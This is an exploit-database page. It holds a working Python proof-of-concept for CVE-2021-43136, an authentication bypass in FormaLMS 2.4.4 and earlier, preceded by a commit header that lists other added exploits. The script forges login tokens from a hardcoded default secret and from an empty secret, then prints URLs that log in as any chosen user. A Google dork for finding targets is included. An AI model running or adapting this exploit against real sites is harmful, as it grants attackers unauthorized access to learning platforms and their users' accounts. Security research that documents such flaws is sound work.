5310d503ac
5 changes to exploits/shellcodes AbsoluteTelnet 11.24 - 'Username' Denial of Service (PoC) AbsoluteTelnet 11.24 - 'Phone' Denial of Service (PoC) YeaLink SIP-TXXXP 53.84.0.15 - 'cmd' Command Injection (Authenticated) Apache HTTP Server 2.4.50 - Remote Code Execution (RCE) (3) FormaLMS 2.4.4 - Authentication Bypass
51 lines
No EOL
1.6 KiB
Python
Executable file
51 lines
No EOL
1.6 KiB
Python
Executable file
# Exploit Title: FormaLMS 2.4.4 - Authentication Bypass
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# Google Dork: inurl:index.php?r=adm/
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# Date: 2021-11-10
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# Exploit Author: Cristian 'void' Giustini @ Hacktive Security
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# Vendor Homepage: https://formalms.org
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# Software Link: https://formalms.org
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# Version: <= 2.4.4
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# Tested on: Linux
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# CVE : CVE-2021-43136
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# Info: An authentication bypass issue in FormaLMS <= 2.4.4 allows an attacker to bypass the authentication mechanism and obtain a valid access to the platform.
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# Analysis:
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https://blog.hacktivesecurity.com/index.php/2021/10/05/cve-2021-43136-formalms-the-evil-default-value-that-leads-to-authentication-bypass/
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# Nuclei template:
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https://gist.github.com/hacktivesec/d2160025d24c5689d1bc60173914e004#file-formalms-authbypass-yaml
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#!/usr/bin/env python
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"""
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The following exploit generates two URLs with empty and fixed value of the "secret". In order to achieve a successful exploitation the "Enable SSO with a third party software through a token" setting needs to be enabled
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"""
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import sys
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import time
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import hashlib
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secret = "8ca0f69afeacc7022d1e589221072d6bcf87e39c"
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def help():
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print(f"Usage: {sys.argv[0]} username target_url")
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sys.exit()
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if len(sys.argv) < 3:
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help()
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user, url = (sys.argv[1], sys.argv[2])
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t = str(int(time.time()) + 5000)
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token = hashlib.md5(f"{user},{t},{secret}".encode()).hexdigest().upper()
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final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
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print(f"URL with default secret: {final_url}")
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token = hashlib.md5(f"{user},{t},".encode()).hexdigest().upper()
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final_url = f"{url}/index.php?login_user={user}&time={t}&token={token}"
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print(f"URL with empty secret: {final_url}") |